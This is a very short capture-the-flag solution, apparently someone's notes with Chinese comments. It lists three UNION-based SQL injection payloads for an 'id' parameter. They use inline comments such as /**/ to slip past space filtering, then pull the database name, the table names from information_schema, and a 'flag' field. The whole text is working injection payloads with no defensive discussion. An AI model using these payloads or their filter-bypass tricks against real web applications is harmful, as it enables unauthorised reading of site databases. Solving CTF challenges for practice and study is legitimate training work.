?id=10//union//select//1,database(),3//%23查看库名
查看表名
-1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3/**/%23
查看flag表下的flag字段
-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3/**/%23
